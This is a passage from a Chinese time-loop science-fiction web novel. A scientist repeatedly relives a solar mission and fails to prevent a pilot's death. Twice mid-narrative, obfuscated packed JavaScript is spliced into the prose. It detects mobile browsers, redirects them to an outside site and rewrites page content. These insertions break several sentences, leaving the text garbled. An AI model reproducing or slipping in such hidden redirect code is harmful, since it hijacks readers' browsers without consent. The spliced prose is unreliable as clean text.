她实在是论工作无可指摘、但如果问穿越这种莫名其妙的秘密一定会说“为什么不去问林静渊查ai”,一整个不在职责范围的就与她无关。 祝觉明把目光从地上挪开,摸鱼的油条同事真的没什么好看的,她和现在的自己工作热情加起来不够一本一字没写的书。 他看向长桌最远端,坐在那的是郭山错,安保部长的坐姿像一尊雕塑;这人面前的终端屏幕亮着,上面是今日的安保护航方案。祝觉明走进来时,郭山错抬起眼睛看了他一眼,点了点头;那点头的幅度、角度、持续时间……与记忆中完全一致。但祝觉明捕捉到了差异:郭山错的瞳孔在他脸上多停留了零点三秒,视线落点不是眼睛,而是他嘴角。 或许那里还残留着极淡的、未被彻底洗去的血渍。 陈启还没到。 怀从咎也没到。 祝觉明走向自己的座位,长桌左侧第三个位置。他拉开椅子坐下,动作控制得平稳流畅;桌面的感应区亮起,识别了他的身份,自动调出他的会议资料。全息界面在眼前展开,条目一行行罗列、他的手指在桌面上虚划,翻动页面,目光落在那些熟悉的图表与数字上。 就在这时,门再次滑开。 陈启是大步进来的,年轻的面庞上洋溢着过剩的活力、深蓝色飞行制服袖子挽到手肘,露出小臂上一条旧伤疤,那是三年前一次训练事故留下的;他眼睛发亮,目光在室内扫了一圈,落在祝觉明脸上时笑容灿烂:“博士,您来得真早!” 祝觉明点头,尽量控制自己不表露出异常:“你也早。” “老大呢?”陈启扭头张望,“他不是说一起过来吗?” “可能被聂长官叫住了。”苏持风停下踱步,声音平稳,但祝觉明注意到她捻着数据薄膜的手停了一瞬,“我们先开。” 聂长官。 祝觉明的戒指在无名指上微微一沉,似乎感知上的压力带来了实际的重量变化;他垂眼看向自己的左手,铂金戒面在会议室顶光下反射着柔和的哑光,毫无异常。 但他记得那串代码。 OBSERVER-INTERFACE-NIE。 门又一次滑开。这次进来的是怀从咎。 他走进来的方式与记忆中毫无二致:肩线利落如刀锋的黑色作战服,步伐是飞行员特有的介于松弛与警觉之间的节奏;他没看任何人,径直走向长桌右侧第二个座位,与祝觉明正好斜对角。拉开椅子时,金属椅脚与地板摩擦出短促的锐响,尔后他抬眼,目光与祝觉明撞在一起。 那一刻,祝觉明感到关于预期的期待在胸腔里碎裂了;在那些破碎的未来画面里,怀从咎看过他无数次:冰冷的、愤怒的、绝望的、崩溃的……但没有一次是这样的平静,甚至带点例行公事的漠然,就像在看一个初次见面的陌生人。 他差点忘了,这时候的他们还没经历那些朝夕相处的磨合训练,怀从咎只是个接到任务然后非常相当尤其不爽甚至想抗议的陌生人,对于自己本来执行飞行任务如日中天但现在不得不被拉来开什么送死的飞船颇有微词。 甚至这任务还让他把他副官也带上,送兄弟去死的事他无论如何做不到。 所以这时候的他…… ——应该是讨厌自己的吧。 祝觉明没发现自己犹豫了,素来判断那样果决的自己犹豫了;而怀从咎看了他一眼,尔后移开视线,看向自己面前亮起的终端屏幕。 祝觉明意识到,在那些未来画面里,怀从咎从未在第一次会议时这样看过他;那些画面里的对视,要么充满火药味,要么带着试探,要么浸满失望…… 从来没有如此空白。 这意味着什么? 意味着他的回归改变了什么? 还是意味着那些画面根本不是未来,而是别的时间线或可能性? 他们的时间线已经毁灭了,这条线上的他在会议前被下毒了、而自己来复活了? 怎么可能这样荒谬。 这时环形会议室的主门再再再再再度向两侧滑开,聂宜生走了进来。 联合政府太空作战部长官,鬓角已经全白,但身板挺直如服役时期;他穿着深青色将官制服,肩章上的将星在顶光下反射冷光。他走到长桌主位,没有立刻坐下,而是双手撑在桌沿,目光缓缓扫过在场每一个人。 祝觉明看着他。 聂宜生的脸是标准的高级军官面孔:方颌,深眼窝,嘴唇抿成严厉的直线;他的视线与祝觉明接触时没有任何异常,无论是多停留还是特殊含义,就像在看一个重要的、但终究是工具的下属。 22. 误差递增 “人都到齐了。我们开始。” 会议按议程推进。聂宜生简述太阳危机的现状、苏持风汇报观测数据更新、郭山错说明安保部署、陈启介绍近日点号的最终调试情况……祝觉明等待着,等待自己需要发言的时刻;他盯着全息投影上旋转的太阳模型。日冕物质抛射的模拟轨迹已经校准完毕,那条火蟒缓缓抬起头对准地球,倒计时显示十四天七小时二十二分。 “祝博士,请你说明最终行动方案。” 聂宜生终于讲到了这一句,所有目光汇聚过来。 “综上所述——” 祝觉明站起来走到数据板前,话语流畅地涌出;每一个术语,每一个数据,每一个逻辑衔接……都与他记忆中完全相同。他看见苏持风在他提到“生存概率无限接近于零”时把数据薄膜捻出了一道裂痕、看见郭山错在终端上记录、看见陈启专注的倾听和大胆的提问。 他看见怀从咎,后者没有看投影,没有看数据,而是一直看着他,像试图把他摁在真相的墙面上如鱼剖开。 祝觉明说完的时候会议室陷入寂静。 直到怀从咎站了起来。 他站起来的动作动作不疾不徐,作战服的肩线在顶光下割出锐利的阴影;他没看投影,只是看着祝觉明。 “博士。” 祝觉明眼皮跳了跳,他猜到怀从咎要说什么了。 “你的模型里有没有一个变量,叫不惜一切代价?” 祝觉明感到自己的左手无名指在发烫,神经信号层面的灼烧感鲜明立体;他控制住去摸戒指的冲动,让自己迎上怀从咎的目光。 理性与野火就在此刻终于狭路相逢。 悬挂在全息投影顶端的十四天后人类存亡的倒计时还在无声跳动。 祝觉明推了推眼镜,镜片后的目光没有动摇。 “有。”他笑了一下,“但它不叫不惜一切代价,叫可接受的损耗上限。” 怀从咎笑的没有一点温度。 “那么,博士,”他向前倾身,双手撑在桌沿,这个姿态让他像一头即将扑击的豹,“告诉我,在你的公式里,谁是那个可接受的损耗?” 会议室里的气氛彻底掉到了冰点。 祝觉明看着怀从咎,看着这个在未来那些破碎画面里会与他纠缠至时间尽头的男人;此刻的怀从咎还没有经历背叛,没有经历循环,没有经历那些堆积如山的死亡…… 此刻的怀从咎只有愤怒与怀疑,只有飞行员面对过于复杂的棋局时本能的不信任。 他们不信任学术派太正常了,觉得没有上过战场只会动嘴皮子和笔杆子,却不知道自己的胜利恰是学术派在后面无穷无尽的推演才给出的行动方案。 所以需要配合。 祝觉明已经看过太多版本的他,看过在陈启死去时失声的他、看过他在循环尽头持枪抵住自己心口的他、看过在时间静止的领域里意识如星云般与自己交融劝自己回来的他。 那些画面此刻在祝觉明的意识深处翻涌,他必须镇压它们,必须维持表面的平静,必须扮演那个冷酷而只认数字的科学家。 他现在还不敢赌要是有什么变化这条线会怎样。 于是他开口,平稳冷漠,他自己都觉得无情: “在最优解模型里,没有个体。只有参数。” 怀从咎盯着他很久,慢慢直身。 “明白了。”他点头,没有说明白了什么;但那语气和眼神祝觉明在未来画面里见过,那是怀从咎做出不可更改的决定时的神情,这人又要自作主张了。 会议在如此诡谲的气氛中继续,聂宜生最终拍板:按祝觉明的方案执行,怀从咎为近日点号指挥官、陈启为副官,七日后出发;散会时众人陆续起身离开,祝觉明整理自己的数据板,动作缓慢,他自己也说不上有意拖延还是什么。 他看见怀从咎走向门口,陈启快步跟上、低声说了句什么;怀从咎没有回应,只是抬手拍了拍陈启的肩。 那个拍肩的动作无论角度力度还是持续时间都与他记忆中别无二致。 祝觉明的胃部一阵翻江倒海的抽搐。 他最后一个离开会议室。走廊空荡,只有他的脚步声在金属墙壁间回荡;他走向最近的卫生间,推门进去,反手锁上门。 他几乎是冲到洗手池前,拧开水龙头。 水流哗哗作响,他抬头看向镜中的自己、脸色比之前更苍白,眼眶下有淡淡的青影;他盯着自己的眼睛,试图从虹膜里找出证据,证明刚才发生的一切不是幻觉、不是疯狂,确凿的正在发生的异常。 但镜中人只是看着他,瞳孔深处那层厚度仍然存在,却拒绝被解读。 祝觉明低头看向自己的左手,铂金戒指安静地套在无名指上,毫无异状;他伸出右手,用拇指指腹缓慢摩挲戒面。金属冰凉光滑。 从这一刻起他知道,他看到的任何现实都将是穿过这面厚重镜渊后被折射、污染、背负着无穷回声的副本。 他即镜渊。 在水声的掩护下,几乎他自己都未意识到自己在说话;他听见自己的声音那样低,嘶哑的像磨损的磁带走带。 “这次陈启不能去……” 话语落进水流声里,瞬间被冲散。 祝觉明猛地抬起头,瞪大眼睛看向镜中的自己。 那句话。 他没有想过要说那句话。 那不是计划、不是策略,甚至不是思考后的产物;它从他喉咙里自己爬了出来,仿佛来自经验的知晓嘲笑着他的解离。 去哪里呢? 在那些破碎画面里、在尚未到来的时间点,陈启会因为管道的一次微小泄漏而出舱维修,还是意外又会发生,也许是陨石碎片、也许是系统短路,也许是宇宙弦扰动的偶然聚焦? 陈启会死,怀从咎会看见,一切会再次地崩山塌。 而他现在,在第一次会议刚刚结束的此刻,在一切尚未发生的起点说出了这句话。 祝觉明感到一股寒意从脊椎底部爬上来,扩散到每一根末梢神经;他关掉水龙头,寂静骤然降临、卫生间里静的连他自己的呼吸都听不到,他再次看向镜子。 镜中人也在看他,嘴角抿成一条平直的线,眼神里有什么正在凝固,从混乱的恐慌转向硬化的决心。 祝觉明抬起左手盯着那枚戒指。 铂金戒面在顶光下泛着哑光,但此刻在他凝视之下,戒面深处似乎有极细微的光粒一闪而过,如实际发光后视觉残留的错觉,像是他的视网膜在过度紧张后产生的幻视。 但他知道那不是幻视。 那是接口。 观测者的接口。 聂宜生的名字缩写。 以及,一场已经开始却无人宣告的战争。 祝觉明转身走出卫生间,足音在走廊里敲出稳定的节奏,每一步都在把他带向下一个必然发生的事件、带向那个七日后将载着他们飞向太阳的飞船,带向那些堆积如山的尚未成为白骨的死亡。 但这一次他知道了。 他知道自己还能做些什么。 他知道陈启会死。 他知道怀从咎会崩溃。 他知道自己会一遍遍回到这里、一遍遍重来,一遍遍试图在无数必然的缝隙里撬出一道微小的足以改变一切的变量。 而这一切的起点是此刻。 是这具刚刚经历第一次暴力重置的身体,这个刚刚吐出第一口血的大脑、这双刚刚看见第一串代码的眼睛。 他计划的第一块基石于此垒下。 祝觉明走向自己的实验室,背影在走廊尽头的光里拉成长而直的影子,像一柄正在缓缓出鞘的刀。 “这一次,我要救下所有人。” ——— 维修通道的照明比主舱区黯淡三分。 祝觉明站在导航模块的外壳前,工具面板在壁挂架上泛着钝哑的金属色泽;他选择会议结束后的第四小时十七分这个时刻行动,此时所有人都被动员简报牵制在中央简报室、因为日志显示七日后陈启会在这里进行出航前最后一次系统核查,然后那场意外过载将发生。 他拆开防护盖板,内部是交织的光纤与晶体阵列,核心处悬浮着一枚磁约束能量球,稳定地散发靛蓝的辉光;在那些尚未成为现实的记忆里,这里的第七号耦合器会因量子隧穿效应累积微观缺陷、在陈启启动自检程序时引发链式崩溃。 祝觉明找到它,用微探针检测谐振频率; 读数正常,完全正常。 这就是悖论的开端: 故障尚未存在,他却要修复一个虚无。 他更换了耦合器的基底材料,用自己实验室合成的异构晶体替换标准型号;新晶体的能带结构更宽,理论上可以吸收突发的能量尖峰。他焊接接点、封装,复原盖板;全程耗时二十二分钟,通道里只有工具与金属接触的轻响,以及他自己平稳到刻意的呼吸声。完成时他退后一步,凝视着毫无异状的模块外壳;理性在提醒他干预可能成为故障的成因,但他已经没有别的路径。 等待那个缺陷自然出现,然后重复陈启的死亡? 他知道怀从咎承受不起这个然后。 他离开维修通道,在气密门闭合前回头望了一眼;那枚被替换下来的标准耦合器躺在他的工具袋里,冰凉又无辜。 动员简报冗长得令人疲惫,怀从咎坐在后排半听不听,他讨厌集体性的情绪煽动;聂宜生机械的声音像经过压缩的洪流冲刷着每个人的忠诚阈值,陈启坐在他斜前方,脊背挺得笔直,怀从咎盯着那背影、忽然感到一阵毫无来由的心悸。 ……怎么可能呢。 恐惧、焦虑、生理性的预警……他很快为自己找到了答案,像动物嗅到风暴前电离的气压。他锁骨下方的灼痕毫无征兆地发烫,那热度从骨头深处渗出来,缓慢地焙烤着神经、直到抵达表皮。他皱眉,抬手按住那片肌肤;作战服布料之下,灼痕的形状仿佛正在脉动,像一颗嵌在血肉里的暗红恒星。 陈启就在这时回过头对他笑了一下,眼睛在简报室的昏暗里亮得过分。 “老大,”他跃跃欲试的压低声音,“你真的信任我要带我上舰船?” 怀从咎没有回应那个笑容。心悸变成沉重的捶打,在他胸腔里撞出空洞的回音;他猛地站起来,椅子腿刮过地板发出刺耳锐响。聂宜生的讲话停了,所有人的目光汇聚过来。 “有意见?”聂宜生的声音里压着不悦,“怎么了?” 怀从咎说不出口。他说不出“我感觉要出事”,说不出“陈启不能去检查导航模块”;他说不出任何有实质意义的警告,因为那感觉没有任何形态。他只是站着,灼痕的烫正在向肩胛骨蔓延,像有岩浆沿着脊椎沟壑流淌。 他忽然想,祝觉明点的是自己和陈启,自己这种反骨刺头显然不是他会感兴趣的,莫非他为的是陈启? 那如果陈启出事……祝觉明会难过吧。 “我需要离席。”他最终吐出的是这句话,“透一下气。” 聂宜生盯着他看了三秒,点头。 “五分钟。” 怀从咎转身推开简报室的门,走廊的光涌进来,太过明亮,刺得他视网膜发痛;他朝维修通道的方向走,步伐越来越快,最后几乎是在奔跑。靴底撞击金属地板的声音在封闭走廊里炸开,像一连串仓促的枪声、他不知道自己在追逐什么,只是灼痕在驱赶他,那热度已经变成烧灼的疼痛,仿佛底下埋着烧红的烙铁。 他抵达维修通道口时,气密门显示锁定——有人从内部封闭了通道;怀从咎刷权限,系统拒绝:“模块维护中,禁止进入。”他想敲门,合金板材发出沉闷的轰鸣,纹丝不动;监控镜头转向他,红光闪烁。 “怎么今天维修,”他有些怀疑,“打开。” “请稍候,指挥官。”AI女声平稳无波,“维护将于两分钟后完成。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174327|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……”怀从咎背靠墙壁滑坐下去,灼痕的烫突然达到顶峰,尔后骤降,变成麻痹感从锁骨扩散到整个右胸;他闭上眼深呼吸迫使自己平静,心里却还是觉得似乎哪里不对,“两分钟吗……” 通道门就在这时滑开了。 陈启从里面走出来,手里拿着检测平板,专注工作后显然他刚放松;看见怀从咎时他愣了一下,以为来问工作:“老大?你怎么——” 话音戛然而止。 通道里传来轰鸣,陈启眼睛瞪大、嘴唇张着,但似乎吸不进任何空气;检测平板从他手里滑落,撞在地上,屏幕碎裂的纹路像突然绽放的冰花。他抬手抓住自己的喉咙,指甲陷进皮肤,抓出深红的沟壑;他的脸开始变色,从健康的血色褪成缺氧的青紫,再变成死寂的灰白。他朝怀从咎伸出手,手指痉挛地弯曲,仿佛想抓住什么不存在的东西。 ……内外仓气压不对等导致的缺氧?? 怀从咎冲过去接住他倒下的身体。陈启很重,所有肌肉都在剧烈抽搐,背脊反弓成痛苦的弧线;怀从咎把他放平在地,撕开他制服的领口,发现颈部皮肤下已经浮现出大片淤血般的暗斑——那是毛细血管在真空模拟压力下爆裂的痕迹。维修通道里没有真空,但有什么力量模拟了那种效应。 “医疗队!”怀从咎点出通讯器,“导航模块区,立刻!” 他不明白方才还在会议室的陈启为何会出现在这里,一切的不寻常使他抬头看向四周、仿佛走进那个通道去往的就是另一个世界。 陈启的抽搐停了。他的眼睛还睁着,瞳孔散开、映出走廊顶灯惨白的光点;怀从咎跪在他身边,双手按在他胸口做心肺复苏,按压的节奏又快又重,肋骨在掌下发出不堪重负的咯吱声。没有用,陈启的胸腔不再起伏,嘴唇呈现诡异的淡紫色,像凋谢的鸢尾花瓣。 医疗队赶到时怀从咎还在按压。两个医护人员把他拉开,他踉跄后退,背撞在墙上。他看着他们给陈启注射强心剂,用电击贴片贴在苍白胸膛上、身体在每次电击时弹起又落下,像一具破损的傀儡。第三次电击后,为首的医疗官抬头,对怀从咎摇了摇头。 “窒息。可能是神经性反射导致喉部痉挛,但……”医疗官的声音很低,“我们没遇到过这种情况。” 怀从咎没听见后面的话。他的视线落在陈启右手腕上——那条独特的设备绑带,橙黑交织的编织纹样,是陈启从第一次太空行走任务后就一直戴着的护身符;在怀从咎那阵心悸最汹涌的时刻,他眼前闪过的画面里就有这条绑带,在真空里无声飘荡。 那不是预感。 那是既视感。 过于具体的既视感。 ……方才开会的时候,他手上有这个绑带吗? 从前的时候,他提过这是他的护身符吗? ——— 责任审查程序在事故发生后第三十七分钟启动。郭山错坐在长桌主位,面前并列着三面全息屏幕:事故现场扫描数据、陈启的生理记录、维修通道的访问日志。他的坐姿笔直,肩线平得像用尺规量过,制服每一道褶痕都服从几何定律。 祝觉明坐在他对面。他们之间隔着四米长的黑色会议桌,桌面映出顶灯冷冽的光斑,像被冻结的湖。 “维修记录显示,你在今日14:23至14:45期间进入导航模块区。”郭山错开口,每个字都像经过校准的重量,均匀地落在长桌上,“原因?” “预检。”祝觉明答的面不改色 “模型推演出耦合器潜在缺陷概率上升。我进行了预防性更换。” “依据?” “第七号耦合器的谐振频率历史数据呈现衰减趋势,虽然未达故障阈值,但在近日点航程的高能环境下可能成为风险点。”祝觉明调出数据流,光纹在空中展开,曲线平滑地向下倾斜,“新晶体基底可以拓宽稳定区间。” 郭山错的目光扫过数据,没有在那条曲线上停留超过一秒。他看向另一份记录:“陈启副官的检测任务原本安排在明日。为什么提前?” “我不知道。”祝觉明摇头“这不是我权限内的调度。” 他确实不知道。 这是真话,也是谎言。他不知道陈启今日会去,但他从那些尚未成为现实的记忆里知道陈启会在某个时刻踏入那个模块区,然后死亡;他提前修复故障,却制造了新的死亡方式、因果锁定的力量不在于维持固定的剧本,而在于确保结局的不可更改。 就像水流总会找到最低处,无论你在河道上设下多少堤坝。 原本安装他的计算,所有人都在开会,陈启确实不会去检修舱的。 郭山错沉默了片刻。他的手指在桌面上轻轻敲击,节奏恒定,每一下的间隔分秒不差。 “事故分析显示,陈启副官启动自检程序时,你更换的异构晶体与旧有能量矩阵发生相位冲突,引发局部场畸变;畸变场刺激了他的迷走神经,导致喉部肌肉强直性痉挛,呼吸阻断。” 他抬眼看向祝觉明,那目光里没有谴责或怀疑,只有纯粹的陈述,像在宣读物理定律。 这答案不成立。 祝觉明很清楚。 只是搞个高深莫测的先掩耳盗铃粉饰太平,然后再去追查。 毕竟这实在是太蹊跷了。 “所以,”郭山错继续汇报,“从操作规范层面,陈启副官的死亡可以被定义为操作失误单位未能识别系统兼容性风险,在未充分验证的情况下执行检测程序,导致自身生命体征终止。” 祝觉明感到自己的胃部抽紧。情绪性的反应与生理性的厌恶让他像吞下正在融化的铅,郭山错用一句话抹去了陈启的生命,把他简化成出错的单位;而这正是系统允许的叙事——个体死亡可以被归因于技术细节,只要那个细节足够合理、足够符合逻辑。 “你是否认同这个结论?”郭山错问,“还是你有异议?” 那意思很明显了,只要你认,这事就不是你的错。 23. 落子无悔 祝觉明看着对方。郭山错的眼睛是浅褐色的,虹膜纹理清晰得像树木的年轮,里面没有任何情绪的涟漪;这个人坚固、恒定,以自己认定的规则为轴心旋转,碾碎一切不符合轨道的存在。 “我认同技术分析。”祝觉明慢慢地答,“但不认同操作失误单位这个定义。” “定义不影响事实。”郭山错关闭全息屏幕,光纹消散,会议室突然暗了一度,“程序完成。事故归档为非恶意技术性致死,不影响任务进程。” 他站起来,完全没想问怀从咎意见。 “近日点号按原计划准备出航。祝博士,你的模型需要纳入这个新变量——指挥官怀从咎的情绪状态。数据显示他在事故后的生理指标波动幅度超过安全阈值百分之四十。” 郭山错走向门口,步伐的间距完全一致,像用步幅仪测量过;在门前他停顿,没有回头,只说了一句: “情感是多余的摩擦力。它会磨损齿轮,直到整个机器停转。” 门滑开又闭合。 全程一言不发的怀从咎也站起来,什么都没说,转身出门。 会议室里只剩祝觉明一人。 他调出陈启死亡瞬间的监控记录。画面里陈启倒下的身体被怀从咎接住,尔后医疗队涌入、各种仪器闪烁;祝觉明放大生物扫描数据,聚焦在陈启脑波消失前的那段曲线。在医学上,那是濒死期的神经放电高峰,俗称“死亡尖波”,但祝觉明看到的不仅仅是生理信号。 还有能量峰值。 陈启消散的意识,那些未说出口的话语、未完成的念头、对未来航程的期待与恐惧……所有这些非物质的存在在脱离□□的瞬间被似乎什么机制捕捉、放大……转化成了可测量的能量辐射,峰值强度比祝觉明在上一次记录到的高出所有仪器的固有偏差范围。 这个误差意味着什么? 意味着每一次死亡都不是简单的重复。意味着陈启的灵魂(如果这个词有意义,如果尚且可以成为灵魂)在每次终结时都在燃烧得更炽烈,像一根被反复拨亮的烛芯、在彻底熄灭前迸发出更强的光。 意味着催化效应在累积。 意味着有什么接受了这些情绪,并分拣、择用。 祝觉明关掉记录。会议室陷入彻底的黑暗,只有紧急出口标志泛着幽绿的光,像深海鱼类的眼睛;他坐在黑暗里,双手平放在桌面上,指尖能感觉到金属传导上来的恒久的低温。 他想起了怀从咎的灼痕。那东西在陈启死亡前发烫,是共鸣吗?是对即将发生的悲剧的预警?还是说怀从咎也是这个催化回路的一部分,他的直觉是天线、是接收器,是让死亡能量得以汇聚的焦点? 如果是这样,那么自己的戒指呢? 观测者接口,聂宜生的名字缩写,那些闪烁的代码…… 他自己又在这个系统里扮演什么角色? 没有答案。 只有更多问题像黑暗中滋生的菌丝,缠绕住每一个思考的支点。 尔后绞杀、缭绕、直至枯竭荒芜。 ——— 启航日。 近日点号悬挂在船坞中央,流线型的舰身在聚光灯下反射出银白的辉光,像一柄打磨过的利刃;怀从咎站在登舰廊桥前,穿着全套飞行服、头盔夹在腋下。他的脸上没有任何表情,眼睛盯着船体侧舷的编号:NE-001。 那眼神空得可怕,像已经把灵魂提前抛进了太空。 没有陈启,他们还是得继续任务。 祝觉明走向他,手里拿着最终的航路数据板;两人之间的距离缩短到两米时,怀从咎抬眼看了他一眼,眸光微敛。那目光穿过他们之间的生死隔阂落在祝觉明脸上,却没有真正看到他;怀从咎在看的或许是别的什么,或许是陈启最后那个笑容、或许是医疗队摇头的瞬间、或许是郭山错那句操作失误单位。 “指挥官。”祝觉明公事公办的开口,“航路校准完毕。我们可以登舰了。” 怀从咎没有回应。他的视线下移,落在祝觉明左手的戒指上,停顿了几秒尔后开口。 “博士,你相信报应吗?” 问题来得太突兀,祝觉明怔了一下。 “不相信。”他违心的摇头,“宇宙没有道德属性。只有因果。” “那么陈启的死是什么因的果?”怀从咎问的反而有了那么一丝笑意、仿佛不恨祝觉明,“是你的预防性维修?是我的预感来晚了?还是说从一开始这个任务就需要一个祭品,而他被选中了?” 祝觉明垂眼,看起来像无动于衷其实是僵在了原地;他想说“不是这样”,想说“我有数据可以证明”……但所有话语都在舌尖冻结。 因为他确实不知道。 他只知道陈启会死,只知道死亡的方式会变、只知道无论如何干预,结局都像黑洞的视界,不可逃脱地吞噬一切靠近的光。 “登舰吧。”他最终颤抖着转身,“时间到了。” 怀从咎看了他最后一眼,那眼神复杂得难以解析;愤怒、疲惫、认命的荒芜……尔后他转身踏上廊桥,靴子踩在金属网格上发出规律的铿锵声,一步一步走向那艘即将载着他们飞向太阳的飞船。 他们都没有再回头看彼此。 祝觉明跟在太阳身后,他的左手无名指又开始发烫,戒面深处仿佛有微光流动、但他没有低头看。他知道那是什么,是观测者在注视,是协议在运行、是这个系统在记录每一次偏差,每一次尝试、每一次徒劳的反抗。 他们进入舰桥,舱门在身后闭合,气密锁扣死时发出沉重的闷响;怀从咎坐进指挥席,手指在控制面板上滑动,启动预热序列。屏幕逐一亮起,数据流如瀑布倾泻、祝觉明坐在副指挥位,调出太阳活动实时监测。 日冕物质抛射的轨迹像一条苏醒的巨蟒,缓缓调整角度对准那颗蓝色的行星。 倒计时归零。 推进器点火,震动从舰体深处传来;船坞的固定臂松开,近日点号滑出泊位,驶入无垠的黑暗。舷窗外地球弧线逐渐缩小,变成一枚悬挂在墨黑绒布上的蓝白琉璃。 民众的欢呼也越来越远。 航程起初平静得诡异。怀从咎几乎不说话,所有指令都通过控制面板直接下达;祝觉明监测着模型与现实的偏差,发现航线正在发生微小的偏移。导航没有错误,是怀从咎在手动调整;每一次调整都让飞船更靠近理论安全边界的边缘,他在测试什么?在寻找什么?还是在试图逃离什么? 第四天,他们穿越小行星带边缘。 “博士,你有过既视感吗?” 怀从咎忽然问,祝觉明从数据屏前抬起头。 “偶尔。” “多偶尔?” “正常频率。大脑颞叶有时会错误标记记忆的时序,产生虚假的熟悉感。” “你知道我说的不是这个。”怀从咎眼睛仍然盯着前方星空,“是看到一件事、听到一句话,甚至闻到一种气味,然后你知道这件事以前发生过,每一个细节都一样。” 连你自己接下来要说什么、要做什么,都像在读一份早已写好的剧本。 “与你觉得无关。” 祝觉明的手停在触控板上。 “你有过?”他问,“你看见了什么?” 怀从咎笑了,那笑容短暂得像刀锋的反光。 “陈启死的时候,我看到了他手腕上的绑带;在事情发生前五分钟,我看到了它在真空里飘的样子。就像现在我看见你坐在这里一样真实,就像现在你看见我在问你一样确切。” 他转过头看向祝觉明,灼痕在他锁骨下方隐约发亮,透过飞行服的布料透出暗红的微光,像平静底下埋着一块余烬。 “你知道那是什么感觉吗,博士?就像你的人生是一卷录音带,有人在反复播放同一段;而你每次听到都会更清楚地意识到——你逃不出这段旋律。” 祝觉明想说些什么,却说不出口。他该说什么?说“我也在循环里”?说“我试过救你们许多次”?说“我们都在残忍的实验中”? 他什么都没说。 怀从咎转回头继续驾驶。 航线偏移达到百分之零点二。 ——— 近日点在第七天。 太阳在视野中膨胀,从一颗恒星变成充塞天地的炽白光海;日冕的丝状结构像沸腾的金色森林,每一根都在狂暴地舞动,抛射出亿万吨等离子体。近日点号的外壳开始升温,防护层蒸发出缕缕白气、在传感器上拉出尖啸的警报曲线。 祝觉明的模型在疯狂刷新。现实数据与预测的偏差正在扩大,日冕抛射的轨迹出现不可解释的扰动,仿佛太阳在抗拒他们的靠近;他调整参数,重新计算切入角度,但每次结果都在变,像在追逐不断改变形状的影子。 “航道不稳。”怀从咎的声音从通讯器传来,冷静得可怕,“引力湍流比预测强三倍。手动控制快要失效。” “保持原角度。”祝觉明闭了闭眼,“偏移超过百分之零点五,我们会错过引爆窗口。” “如果窗口本身就不存在呢?” 这问题击碎了所有的粉饰太平。 祝觉明盯着屏幕,上面跳动的数字开始出现重影,像他的视觉系统正在崩溃。不,不是视觉,数据真的在变异;日冕的辐射强度、等离子密度、磁场曲率……所有参数都在波动,波动的方式违背了已知的物理规律。 他明白了。 审判在借着自然现象显形,宇宙弦的扰动从高维渗透进他们的现实,像一只无形的手在拨弄物理常数,让宇宙的织物在他们周围起皱、撕裂。 近日点号剧烈颠簸,像暴风雨中的小舟;警报器齐声尖啸,红光笼罩整个舰桥。怀从咎死死抓住操纵杆,但飞船还在失控地旋转;舷窗外太阳的光海分裂成无数重叠的影像,像一面被打碎的镜子,每一片碎片都映出不同的末日。 祝觉明看见未来的地球在那片碎裂的光里,被日冕物质抛射击中;大气层电离成紫红的焰云,大陆板块在热能冲击下龟裂、熔岩从裂缝中喷涌,像星球的血液。 终于一切被白光吞噬。 所有的预测正在发生,他们的失败已经投射回过去,成为必然的结局。 怀从咎从通讯器里传来的所有声音被静电切割得支离破碎,祝觉明听不清他在说什么,只看到控制面板上航线偏移的数值跳到百分之零点二、尔后定格;就是这一点偏差,百分之零点二的角度,在亿万公里的尺度上,足以让拯救变成擦肩而过。 白光吞没舷窗。 吞没舰桥。 吞没祝觉明所有的感官。 在意识消散前的最后一瞬,他再次听见那个声音。平坦而没有音源,从存在深处渗出来的声音: “协议第七章启动。样本协同失败。逻辑悖论重新加载。错误。检测到因果悖论。重启校正。” 无尚未成为任何事物虚空的暖身,下一次睁眼的序曲在寂灭中轰然奏响,劈来千万刀。 ……祝觉明在实验室地板上睁开眼。 这次苏醒反胃感延迟了,被均匀涂抹在意识表层的钝痛取而代之,像一层干燥的石膏;他撑着台面起身,动作流畅得令自己陌生——身体已学会适应这种暴力重置,如同骨骼在重复骨折后钙化增厚。 他第一反应是调取会议人员名单。 他划过悬浮屏,名单流水般展开;苏持风,郭山错,陈启,怀从咎……他的名字紧挨怀从咎。他凝视那排列,三秒后意识到异常:名单末尾本该是“聂谊生”的位置此刻是空白。字符缺失处呈现系统性的灰阶,根本不曾写入。 聂谊生又消失了。 到底是被人为删了还是就不曾存在? 祝觉明关闭名单。窗外地球仍在旋转,晨昏线切割大陆,金色网络细密如常;他走向虚拟训练场,步伐间为自己设定好正常值,用以校准循环带来的感官漂移。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174328|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底从太空回来,他确实是有点不适应。 训练场空荡,环形舱壁泛着哑光;他调出上次循环的航行数据,日冕扰动曲线在屏幕上疯长。他凝视那些尖峰,试图找出模式,但注意力持续溃散、视野边缘泛起颗粒噪点,像老式显示器接收不良的信号。 系统就在这时载入了火星场景。 没有提示音,没有转换动画;训练场的银灰舱壁直接融解,置换为火星基地的锈红穹顶。祝觉明站在原地,脚下金属地板变成覆满尘砾的岩面,稀薄大气让远景微微扭曲。 他认得这里。 三年前,人类火星基地联合竞赛,他是理论组首席,怀从咎是飞行组代表。 记忆开始自动播放。 